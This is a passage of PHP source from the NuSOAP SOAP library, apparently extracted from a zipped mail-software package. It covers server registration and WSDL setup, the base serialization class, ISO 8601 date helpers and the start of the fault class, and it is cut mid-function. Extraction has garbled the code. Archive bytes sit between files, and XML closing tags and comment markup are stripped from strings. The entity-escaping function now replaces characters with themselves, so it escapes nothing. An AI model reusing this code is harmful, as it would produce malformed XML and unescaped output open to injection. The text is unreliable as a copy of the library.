1.1 $this->xml_encoding = 'ISO-8859-1'; } $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); // parse response, get soap parser obj $parser = new nusoap_parser($data,$this->xml_encoding,'',$this->decode_utf8); // parser debug $this->debug("parser debug: \n".$parser->getDebug()); // if fault occurred during message parsing if($err = $parser->getError()){ $this->result = 'fault: error in msg parsing: '.$err; $this->fault('SOAP-ENV:Client',"error in msg parsing:\n".$err); // else successfully parsed request into soapval object } else { // get/set methodname $this->methodURI = $parser->root_struct_namespace; $this->methodname = $parser->root_struct_name; $this->debug('methodname: '.$this->methodname.' methodURI: '.$this->methodURI); $this->debug('calling parser->get_soapbody()'); $this->methodparams = $parser->get_soapbody(); // get SOAP headers $this->requestHeaders = $parser->getHeaders(); // get SOAP Header $this->requestHeader = $parser->get_soapheader(); // add document for doclit support $this->document = $parser->document; } } /** * gets the HTTP body for the current response. * * @param string $soapmsg The SOAP payload * @return string The HTTP body, which includes the SOAP payload * @access private */ function getHTTPBody($soapmsg) { return $soapmsg; } /** * gets the HTTP content type for the current response. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type for the current response. * @access private */ function getHTTPContentType() { return 'text/xml'; } /** * gets the HTTP content type charset for the current response. * returns false for non-text content types. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type charset for the current response. * @access private */ function getHTTPContentTypeCharset() { return $this->soap_defencoding; } /** * add a method to the dispatch map (this has been replaced by the register method) * * @param string $methodname * @param string $in array of input values * @param string $out array of output values * @access public * @deprecated */ function add_to_map($methodname,$in,$out){ $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out); } /** * register a service function with the server * * @param string $name the name of the PHP function, class.method or class..method * @param array $in assoc array of input values: key = param name, value = param type * @param array $out assoc array of output values: key = param name, value = param type * @param mixed $namespace the element namespace for the method or false * @param mixed $soapaction the soapaction for the method or false * @param mixed $style optional (rpc|document) or false Note: when 'document' is specified, parameter and return wrappers are created for you automatically * @param mixed $use optional (encoded|literal) or false * @param string $documentation optional Description to include in WSDL * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) * @access public */ function register($name,$in=array(),$out=array(),$namespace=false,$soapaction=false,$style=false,$use=false,$documentation='',$encodingStyle=''){ global $HTTP_SERVER_VARS; if($this->externalWSDLURL){ die('You cannot bind to an external WSDL file, and register methods outside of it! Please choose either WSDL or no WSDL.'); } if (! $name) { die('You must specify a name when you register an operation'); } if (!is_array($in)) { die('You must provide an array for operation inputs'); } if (!is_array($out)) { die('You must provide an array for operation outputs'); } if(false == $namespace) { } if(false == $soapaction) { if (isset($_SERVER)) { $SERVER_NAME = $_SERVER['SERVER_NAME']; $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); } elseif (isset($HTTP_SERVER_VARS)) { $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; } else { $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); } if ($HTTPS == '1' || $HTTPS == 'on') { $SCHEME = 'https'; } else { $SCHEME = 'http'; } $soapaction = "$SCHEME://$SERVER_NAME$SCRIPT_NAME/$name"; } if(false == $style) { $style = "rpc"; } if(false == $use) { $use = "encoded"; } if ($use == 'encoded' && $encodingStyle == '') { $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; } $this->operations[$name] = array( 'name' => $name, 'in' => $in, 'out' => $out, 'namespace' => $namespace, 'soapaction' => $soapaction, 'style' => $style); if($this->wsdl){ $this->wsdl->addOperation($name,$in,$out,$namespace,$soapaction,$style,$use,$documentation,$encodingStyle); } return true; } /** * Specify a fault to be returned to the client. * This also acts as a flag to the server that a fault has occured. * * @param string $faultcode * @param string $faultstring * @param string $faultactor * @param string $faultdetail * @access public */ function fault($faultcode,$faultstring,$faultactor='',$faultdetail=''){ if ($faultdetail == '' && $this->debug_flag) { $faultdetail = $this->getDebug(); } $this->fault = new nusoap_fault($faultcode,$faultactor,$faultstring,$faultdetail); $this->fault->soap_defencoding = $this->soap_defencoding; } /** * Sets up wsdl object. * Acts as a flag to enable internal WSDL generation * * @param string $serviceName, name of the service * @param mixed $namespace optional 'tns' service namespace or false * @param mixed $endpoint optional URL of service endpoint or false * @param string $style optional (rpc|document) WSDL style (also specified by operation) * @param string $transport optional SOAP transport * @param mixed $schemaTargetNamespace optional 'types' targetNamespace for service schema or false */ function configureWSDL($serviceName,$namespace = false,$endpoint = false,$style='rpc', $transport = 'http://schemas.xmlsoap.org/soap/http', $schemaTargetNamespace = false) { global $HTTP_SERVER_VARS; if (isset($_SERVER)) { $SERVER_NAME = $_SERVER['SERVER_NAME']; $SERVER_PORT = $_SERVER['SERVER_PORT']; $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); } elseif (isset($HTTP_SERVER_VARS)) { $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; $SERVER_PORT = $HTTP_SERVER_VARS['SERVER_PORT']; $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; } else { $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); } // If server name has port number attached then strip it (else port number gets duplicated in WSDL output) (occurred using lighttpd and FastCGI) $colon = strpos($SERVER_NAME,":"); if ($colon) { $SERVER_NAME = substr($SERVER_NAME, 0, $colon); } if ($SERVER_PORT == 80) { $SERVER_PORT = ''; } else { $SERVER_PORT = ':' . $SERVER_PORT; } if(false == $namespace) { $namespace = "http://$SERVER_NAME/soap/$serviceName"; } if(false == $endpoint) { if ($HTTPS == '1' || $HTTPS == 'on') { $SCHEME = 'https'; } else { $SCHEME = 'http'; } $endpoint = "$SCHEME://$SERVER_NAME$SERVER_PORT$SCRIPT_NAME"; } if(false == $schemaTargetNamespace) { $schemaTargetNamespace = $namespace; } $this->wsdl = new wsdl; $this->wsdl->serviceName = $serviceName; $this->wsdl->endpoint = $endpoint; $this->wsdl->namespaces['tns'] = $namespace; $this->wsdl->namespaces['soap'] = 'http://schemas.xmlsoap.org/wsdl/soap/'; $this->wsdl->namespaces['wsdl'] = 'http://schemas.xmlsoap.org/wsdl/'; if ($schemaTargetNamespace != $namespace) { $this->wsdl->namespaces['types'] = $schemaTargetNamespace; } $this->wsdl->schemas[$schemaTargetNamespace][0] = new nusoap_xmlschema('', '', $this->wsdl->namespaces); if ($style == 'document') { $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaInfo['elementFormDefault'] = 'qualified'; } $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaTargetNamespace = $schemaTargetNamespace; $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/soap/encoding/'][0] = array('location' => '', 'loaded' => true); $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/wsdl/'][0] = array('location' => '', 'loaded' => true); $this->wsdl->bindings[$serviceName.'Binding'] = array( 'name'=>$serviceName.'Binding', 'style'=>$style, 'transport'=>$transport, 'portType'=>$serviceName.'PortType'); $this->wsdl->ports[$serviceName.'Port'] = array( 'binding'=>$serviceName.'Binding', 'location'=>$endpoint, 'bindingType'=>'http://schemas.xmlsoap.org/wsdl/soap/'); } } /** * Backward compatibility */ class soap_server extends nusoap_server { } ?>PKq\ Cjjsuperwebmailer/lib/nusoap.phpnu[ * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_base { /** * Identification for HTTP headers. * * @var string * @access private */ var $title = 'NuSOAP'; /** * Version for HTTP headers. * * @var string * @access private */ var $version = '0.9.5'; /** * CVS revision for HTTP headers. * * @var string * @access private */ var $revision = '$Revision: 1.123 $'; /** * Current error string (manipulated by getError/setError) * * @var string * @access private */ var $error_str = ''; /** * Current debug string (manipulated by debug/appendDebug/clearDebug/getDebug/getDebugAsXMLComment) * * @var string * @access private */ var $debug_str = ''; /** * toggles automatic encoding of special characters as entities * (should always be true, I think) * * @var boolean * @access private */ var $charencoding = true; /** * the debug level for this instance * * @var integer * @access private */ var $debugLevel; /** * set schema version * * @var string * @access public */ var $XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema'; /** * charset encoding for outgoing messages * * @var string * @access public */ var $soap_defencoding = 'ISO-8859-1'; //var $soap_defencoding = 'UTF-8'; /** * namespaces in an array of prefix => uri * * this is "seeded" by a set of constants, but it may be altered by code * * @var array * @access public */ var $namespaces = array( 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', 'xsd' => 'http://www.w3.org/2001/XMLSchema', 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' ); /** * namespaces used in the current context, e.g. during serialization * * @var array * @access private */ var $usedNamespaces = array(); /** * XML Schema types in an array of uri => (array of xml type => php type) * is this legacy yet? * no, this is used by the nusoap_xmlschema class to verify type => namespace mappings. * @var array * @access public */ var $typemap = array( 'http://www.w3.org/2001/XMLSchema' => array( 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double', 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'', 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string', // abstract "any" types 'anyType'=>'string','anySimpleType'=>'string', // derived datatypes 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'', 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer', 'negativeInteger'=>'integer','long'=>'integer','int'=>'integer','short'=>'integer','byte'=>'integer','nonNegativeInteger'=>'integer', 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''), 'http://www.w3.org/2000/10/XMLSchema' => array( 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', 'float'=>'double','dateTime'=>'string', 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), 'http://www.w3.org/1999/XMLSchema' => array( 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', 'float'=>'double','dateTime'=>'string', 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'), 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array'), 'http://xml.apache.org/xml-soap' => array('Map') ); /** * XML entities to convert * * @var array * @access public * @deprecated * @see expandEntities */ var $xmlEntities = array('quot' => '"','amp' => '&', 'lt' => '<','gt' => '>','apos' => "'"); /** * constructor * * @access public */ function nusoap_base() { $this->debugLevel = $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; } /** * gets the global debug level, which applies to future instances * * @return integer Debug level 0-9, where 0 turns off * @access public */ function getGlobalDebugLevel() { return $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; } /** * sets the global debug level, which applies to future instances * * @param int $level Debug level 0-9, where 0 turns off * @access public */ function setGlobalDebugLevel($level) { $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel'] = $level; } /** * gets the debug level for this instance * * @return int Debug level 0-9, where 0 turns off * @access public */ function getDebugLevel() { return $this->debugLevel; } /** * sets the debug level for this instance * * @param int $level Debug level 0-9, where 0 turns off * @access public */ function setDebugLevel($level) { $this->debugLevel = $level; } /** * adds debug data to the instance debug string with formatting * * @param string $string debug data * @access private */ function debug($string){ if ($this->debugLevel > 0) { $this->appendDebug($this->getmicrotime().' '.get_class($this).": $string\n"); } } /** * adds debug data to the instance debug string without formatting * * @param string $string debug data * @access public */ function appendDebug($string){ if ($this->debugLevel > 0) { // it would be nice to use a memory stream here to use // memory more efficiently $this->debug_str .= $string; } } /** * clears the current debug data for this instance * * @access public */ function clearDebug() { // it would be nice to use a memory stream here to use // memory more efficiently $this->debug_str = ''; } /** * gets the current debug data for this instance * * @return debug data * @access public */ function &getDebug() { // it would be nice to use a memory stream here to use // memory more efficiently return $this->debug_str; } /** * gets the current debug data for this instance as an XML comment * this may change the contents of the debug data * * @return debug data as an XML comment * @access public */ function &getDebugAsXMLComment() { // it would be nice to use a memory stream here to use // memory more efficiently while (strpos($this->debug_str, '--')) { $this->debug_str = str_replace('--', '- -', $this->debug_str); } $ret = ""; return $ret; } /** * expands entities, e.g. changes '<' to '<'. * * @param string $val The string in which to expand entities. * @access private */ function expandEntities($val) { if ($this->charencoding) { $val = str_replace('&', '&', $val); $val = str_replace("'", ''', $val); $val = str_replace('"', '"', $val); $val = str_replace('<', '<', $val); $val = str_replace('>', '>', $val); } return $val; } /** * returns error string if present * * @return mixed error string or false * @access public */ function getError(){ if($this->error_str != ''){ return $this->error_str; } return false; } /** * sets error string * * @return boolean $string error string * @access private */ function setError($str){ $this->error_str = $str; } /** * detect if array is a simple array or a struct (associative array) * * @param mixed $val The PHP array * @return string (arraySimple|arrayStruct) * @access private */ function isArraySimpleOrStruct($val) { $keyList = array_keys($val); foreach ($keyList as $keyListValue) { if (!is_int($keyListValue)) { return 'arrayStruct'; } } return 'arraySimple'; } /** * serializes PHP values in accordance w/ section 5. Type information is * not serialized if $use == 'literal'. * * @param mixed $val The value to serialize * @param string $name The name (local part) of the XML element * @param string $type The XML schema type (local part) for the element * @param string $name_ns The namespace for the name of the XML element * @param string $type_ns The namespace for the type of the element * @param array $attributes The attributes to serialize as name=>value pairs * @param string $use The WSDL "use" (encoded|literal) * @param boolean $soapval Whether this is called from soapval. * @return string The serialized element, possibly with child elements * @access public */ function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false,$use='encoded',$soapval=false) { $this->debug("in serialize_val: name=$name, type=$type, name_ns=$name_ns, type_ns=$type_ns, use=$use, soapval=$soapval"); $this->appendDebug('value=' . $this->varDump($val)); $this->appendDebug('attributes=' . $this->varDump($attributes)); if (is_object($val) && get_class($val) == 'soapval' && (! $soapval)) { $this->debug("serialize_val: serialize soapval"); $xml = $val->serialize($use); $this->appendDebug($val->getDebug()); $val->clearDebug(); $this->debug("serialize_val of soapval returning $xml"); return $xml; } // force valid name if necessary if (is_numeric($name)) { $name = '__numeric_' . $name; } elseif (! $name) { $name = 'noname'; } // if name has ns, add ns prefix to name $xmlns = ''; if($name_ns){ $prefix = 'nu'.rand(1000,9999); $name = $prefix.':'.$name; $xmlns .= " xmlns:$prefix=\"$name_ns\""; } // if type is prefixed, create type prefix if($type_ns != '' && $type_ns == $this->namespaces['xsd']){ // need to fix this. shouldn't default to xsd if no ns specified // w/o checking against typemap $type_prefix = 'xsd'; } elseif($type_ns){ $type_prefix = 'ns'.rand(1000,9999); $xmlns .= " xmlns:$type_prefix=\"$type_ns\""; } // serialize attributes if present $atts = ''; if($attributes){ foreach($attributes as $k => $v){ $atts .= " $k=\"".$this->expandEntities($v).'"'; } } // serialize null value if (is_null($val)) { $this->debug("serialize_val: serialize null"); if ($use == 'literal') { // TODO: depends on minOccurs $xml = "<$name$xmlns$atts/>"; $this->debug("serialize_val returning $xml"); return $xml; } else { if (isset($type) && isset($type_prefix)) { $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = ''; } $xml = "<$name$xmlns$type_str$atts xsi:nil=\"true\"/>"; $this->debug("serialize_val returning $xml"); return $xml; } } // serialize if an xsd built-in primitive type if($type != '' && isset($this->typemap[$this->XMLSchemaVersion][$type])){ $this->debug("serialize_val: serialize xsd built-in primitive type"); if (is_bool($val)) { if ($type == 'boolean') { $val = $val ? 'true' : 'false'; } elseif (! $val) { $val = 0; } } else if (is_string($val)) { $val = $this->expandEntities($val); } if ($use == 'literal') { $xml = "<$name$xmlns$atts>$val"; $this->debug("serialize_val returning $xml"); return $xml; } else { $xml = "<$name$xmlns xsi:type=\"xsd:$type\"$atts>$val"; $this->debug("serialize_val returning $xml"); return $xml; } } // detect type and serialize $xml = ''; switch(true) { case (is_bool($val) || $type == 'boolean'): $this->debug("serialize_val: serialize boolean"); if ($type == 'boolean') { $val = $val ? 'true' : 'false'; } elseif (! $val) { $val = 0; } if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:boolean\"$atts>$val"; } break; case (is_int($val) || is_long($val) || $type == 'int'): $this->debug("serialize_val: serialize int"); if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:int\"$atts>$val"; } break; case (is_float($val)|| is_double($val) || $type == 'float'): $this->debug("serialize_val: serialize float"); if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:float\"$atts>$val"; } break; case (is_string($val) || $type == 'string'): $this->debug("serialize_val: serialize string"); $val = $this->expandEntities($val); if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:string\"$atts>$val"; } break; case is_object($val): $this->debug("serialize_val: serialize object"); if (get_class($val) == 'soapval') { $this->debug("serialize_val: serialize soapval object"); $pXml = $val->serialize($use); $this->appendDebug($val->getDebug()); $val->clearDebug(); } else { if (! $name) { $name = get_class($val); $this->debug("In serialize_val, used class name $name as element name"); } else { $this->debug("In serialize_val, do not override name $name for element name for class " . get_class($val)); } foreach(get_object_vars($val) as $k => $v){ $pXml = isset($pXml) ? $pXml.$this->serialize_val($v,$k,false,false,false,false,$use) : $this->serialize_val($v,$k,false,false,false,false,$use); } } if(isset($type) && isset($type_prefix)){ $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = ''; } if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$pXml"; } else { $xml .= "<$name$xmlns$type_str$atts>$pXml"; } break; break; case (is_array($val) || $type): // detect if struct or array $valueType = $this->isArraySimpleOrStruct($val); if($valueType=='arraySimple' || preg_match('/^ArrayOf/',$type)){ $this->debug("serialize_val: serialize array"); $i = 0; if(is_array($val) && count($val)> 0){ foreach($val as $v){ if(is_object($v) && get_class($v) == 'soapval'){ $tt_ns = $v->type_ns; $tt = $v->type; } elseif (is_array($v)) { $tt = $this->isArraySimpleOrStruct($v); } else { $tt = gettype($v); } $array_types[$tt] = 1; // TODO: for literal, the name should be $name $xml .= $this->serialize_val($v,'item',false,false,false,false,$use); ++$i; } if(count($array_types) > 1){ $array_typename = 'xsd:anyType'; } elseif(isset($tt) && isset($this->typemap[$this->XMLSchemaVersion][$tt])) { if ($tt == 'integer') { $tt = 'int'; } $array_typename = 'xsd:'.$tt; } elseif(isset($tt) && $tt == 'arraySimple'){ $array_typename = 'SOAP-ENC:Array'; } elseif(isset($tt) && $tt == 'arrayStruct'){ $array_typename = 'unnamed_struct_use_soapval'; } else { // if type is prefixed, create type prefix if ($tt_ns != '' && $tt_ns == $this->namespaces['xsd']){ $array_typename = 'xsd:' . $tt; } elseif ($tt_ns) { $tt_prefix = 'ns' . rand(1000, 9999); $array_typename = "$tt_prefix:$tt"; $xmlns .= " xmlns:$tt_prefix=\"$tt_ns\""; } else { $array_typename = $tt; } } $array_type = $i; if ($use == 'literal') { $type_str = ''; } else if (isset($type) && isset($type_prefix)) { $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\""; } // empty array } else { if ($use == 'literal') { $type_str = ''; } else if (isset($type) && isset($type_prefix)) { $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"xsd:anyType[0]\""; } } // TODO: for array in literal, there is no wrapper here $xml = "<$name$xmlns$type_str$atts>".$xml.""; } else { // got a struct $this->debug("serialize_val: serialize struct"); if(isset($type) && isset($type_prefix)){ $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = ''; } if ($use == 'literal') { $xml .= "<$name$xmlns$atts>"; } else { $xml .= "<$name$xmlns$type_str$atts>"; } foreach($val as $k => $v){ // Apache Map if ($type == 'Map' && $type_ns == 'http://xml.apache.org/xml-soap') { $xml .= ''; $xml .= $this->serialize_val($k,'key',false,false,false,false,$use); $xml .= $this->serialize_val($v,'value',false,false,false,false,$use); $xml .= ''; } else { $xml .= $this->serialize_val($v,$k,false,false,false,false,$use); } } $xml .= ""; } break; default: $this->debug("serialize_val: serialize unknown"); $xml .= 'not detected, got '.gettype($val).' for '.$val; break; } $this->debug("serialize_val returning $xml"); return $xml; } /** * serializes a message * * @param string $body the XML of the SOAP body * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array * @param array $namespaces optional the namespaces used in generating the body and headers * @param string $style optional (rpc|document) * @param string $use optional (encoded|literal) * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) * @return string the message * @access public */ function serializeEnvelope($body,$headers=false,$namespaces=array(),$style='rpc',$use='encoded',$encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'){ // TODO: add an option to automatically run utf8_encode on $body and $headers // if $this->soap_defencoding is UTF-8. Not doing this automatically allows // one to send arbitrary UTF-8 characters, not just characters that map to ISO-8859-1 $this->debug("In serializeEnvelope length=" . strlen($body) . " body (max 1000 characters)=" . substr($body, 0, 1000) . " style=$style use=$use encodingStyle=$encodingStyle"); $this->debug("headers:"); $this->appendDebug($this->varDump($headers)); $this->debug("namespaces:"); $this->appendDebug($this->varDump($namespaces)); // serialize namespaces $ns_string = ''; foreach(array_merge($this->namespaces,$namespaces) as $k => $v){ $ns_string .= " xmlns:$k=\"$v\""; } if($encodingStyle) { $ns_string = " SOAP-ENV:encodingStyle=\"$encodingStyle\"$ns_string"; } // serialize headers if($headers){ if (is_array($headers)) { $xml = ''; foreach ($headers as $k => $v) { if (is_object($v) && get_class($v) == 'soapval') { $xml .= $this->serialize_val($v, false, false, false, false, false, $use); } else { $xml .= $this->serialize_val($v, $k, false, false, false, false, $use); } } $headers = $xml; $this->debug("In serializeEnvelope, serialized array of headers to $headers"); } $headers = "".$headers.""; } // serialize envelope return 'soap_defencoding .'"?'.">". '". $headers. "". $body. "". ""; } /** * formats a string to be inserted into an HTML stream * * @param string $str The string to format * @return string The formatted string * @access public * @deprecated */ function formatDump($str){ $str = htmlspecialchars($str); return nl2br($str); } /** * contracts (changes namespace to prefix) a qualified name * * @param string $qname qname * @return string contracted qname * @access private */ function contractQname($qname){ // get element namespace //$this->xdebug("Contract $qname"); if (strrpos($qname, ':')) { // get unqualified name $name = substr($qname, strrpos($qname, ':') + 1); // get ns $ns = substr($qname, 0, strrpos($qname, ':')); $p = $this->getPrefixFromNamespace($ns); if ($p) { return $p . ':' . $name; } return $qname; } else { return $qname; } } /** * expands (changes prefix to namespace) a qualified name * * @param string $qname qname * @return string expanded qname * @access private */ function expandQname($qname){ // get element prefix if(strpos($qname,':') && !preg_match('/^http:\/\//',$qname)){ // get unqualified name $name = substr(strstr($qname,':'),1); // get ns prefix $prefix = substr($qname,0,strpos($qname,':')); if(isset($this->namespaces[$prefix])){ return $this->namespaces[$prefix].':'.$name; } else { return $qname; } } else { return $qname; } } /** * returns the local part of a prefixed string * returns the original string, if not prefixed * * @param string $str The prefixed string * @return string The local part * @access public */ function getLocalPart($str){ if($sstr = strrchr($str,':')){ // get unqualified name return substr( $sstr, 1 ); } else { return $str; } } /** * returns the prefix part of a prefixed string * returns false, if not prefixed * * @param string $str The prefixed string * @return mixed The prefix or false if there is no prefix * @access public */ function getPrefix($str){ if($pos = strrpos($str,':')){ // get prefix return substr($str,0,$pos); } return false; } /** * pass it a prefix, it returns a namespace * * @param string $prefix The prefix * @return mixed The namespace, false if no namespace has the specified prefix * @access public */ function getNamespaceFromPrefix($prefix){ if (isset($this->namespaces[$prefix])) { return $this->namespaces[$prefix]; } //$this->setError("No namespace registered for prefix '$prefix'"); return false; } /** * returns the prefix for a given namespace (or prefix) * or false if no prefixes registered for the given namespace * * @param string $ns The namespace * @return mixed The prefix, false if the namespace has no prefixes * @access public */ function getPrefixFromNamespace($ns) { foreach ($this->namespaces as $p => $n) { if ($ns == $n || $ns == $p) { $this->usedNamespaces[$p] = $n; return $p; } } return false; } /** * returns the time in ODBC canonical form with microseconds * * @return string The time in ODBC canonical form with microseconds * @access public */ function getmicrotime() { if (function_exists('gettimeofday')) { $tod = gettimeofday(); $sec = $tod['sec']; $usec = $tod['usec']; } else { $sec = time(); $usec = 0; } return strftime('%Y-%m-%d %H:%M:%S', $sec) . '.' . sprintf('%06d', $usec); } /** * Returns a string with the output of var_dump * * @param mixed $data The variable to var_dump * @return string The output of var_dump * @access public */ function varDump($data) { ob_start(); var_dump($data); $ret_val = ob_get_contents(); ob_end_clean(); return $ret_val; } /** * represents the object as a string * * @return string * @access public */ function __toString() { return $this->varDump($this); } } // XML Schema Datatype Helper Functions //xsd:dateTime helpers /** * convert unix timestamp to ISO 8601 compliant date string * * @param int $timestamp Unix time stamp * @param boolean $utc Whether the time stamp is UTC or local * @return mixed ISO 8601 date string or false * @access public */ function timestamp_to_iso8601($timestamp,$utc=true){ $datestr = date('Y-m-d\TH:i:sO',$timestamp); $pos = strrpos($datestr, "+"); if ($pos === FALSE) { $pos = strrpos($datestr, "-"); } if ($pos !== FALSE) { if (strlen($datestr) == $pos + 5) { $datestr = substr($datestr, 0, $pos + 3) . ':' . substr($datestr, -2); } } if($utc){ $pattern = '/'. '([0-9]{4})-'. // centuries & years CCYY- '([0-9]{2})-'. // months MM- '([0-9]{2})'. // days DD 'T'. // separator T '([0-9]{2}):'. // hours hh: '([0-9]{2}):'. // minutes mm: '([0-9]{2})(\.[0-9]*)?'. // seconds ss.ss... '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's '/'; if(preg_match($pattern,$datestr,$regs)){ return sprintf('%04d-%02d-%02dT%02d:%02d:%02dZ',$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]); } return false; } else { return $datestr; } } /** * convert ISO 8601 compliant date string to unix timestamp * * @param string $datestr ISO 8601 compliant date string * @return mixed Unix timestamp (int) or false * @access public */ function iso8601_to_timestamp($datestr){ $pattern = '/'. '([0-9]{4})-'. // centuries & years CCYY- '([0-9]{2})-'. // months MM- '([0-9]{2})'. // days DD 'T'. // separator T '([0-9]{2}):'. // hours hh: '([0-9]{2}):'. // minutes mm: '([0-9]{2})(\.[0-9]+)?'. // seconds ss.ss... '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's '/'; if(preg_match($pattern,$datestr,$regs)){ // not utc if($regs[8] != 'Z'){ $op = substr($regs[8],0,1); $h = substr($regs[8],1,2); $m = substr($regs[8],strlen($regs[8])-2,2); if($op == '-'){ $regs[4] = $regs[4] + $h; $regs[5] = $regs[5] + $m; } elseif($op == '+'){ $regs[4] = $regs[4] - $h; $regs[5] = $regs[5] - $m; } } return gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); // return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z"); } else { return false; } } /** * sleeps some number of microseconds * * @param string $usec the number of microseconds to sleep * @access public * @deprecated */ function usleepWindows($usec) { $start = gettimeofday(); do { $stop = gettimeofday(); $timePassed = 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec']; } while ($timePassed < $usec); } ?> * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_fault extends nusoap_base { /** * The fault code (client|server) * @var string * @access private */ var $faultcode; /** * The fault actor * @var string * @access private */ var $faultactor; /** * The fault string, a description of the fault * @var string * @access private */ var $faultstring; /** * The fault detail, typically a string or array of string * @var mixed * @access private */ var $faultdetail; /** * constructor * * @param string $faultcode (SOAP-ENV:Client | SOAP-ENV:Server) * @param string $faultactor only used when msg routed between multiple actors * @param string $faultstring human readable error message * @param mixed $faultdetail detail, typically a string or array of string */ function nusoap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){ parent::nusoap_base(); $this->faultcode = $faultcode; $this->faultactor = $faultactor; $this->faultstring = $faultstring; $this->faultdetail = $faultdetail; } /** * serialize a fault * * @return string The serialization of the fault instance. * @access public */ function serialize(){ $ns_string = ''; foreach($this->namespaces as $k => $v){ $ns_string .= "\n xmlns:$k=\"$v\""; } $return_msg = 'soap_defencoding.'"?>'. '\n". ''. ''. $this->serialize_val($this->faultcode, 'faultcode'). $this->serialize_val($this->faultactor, 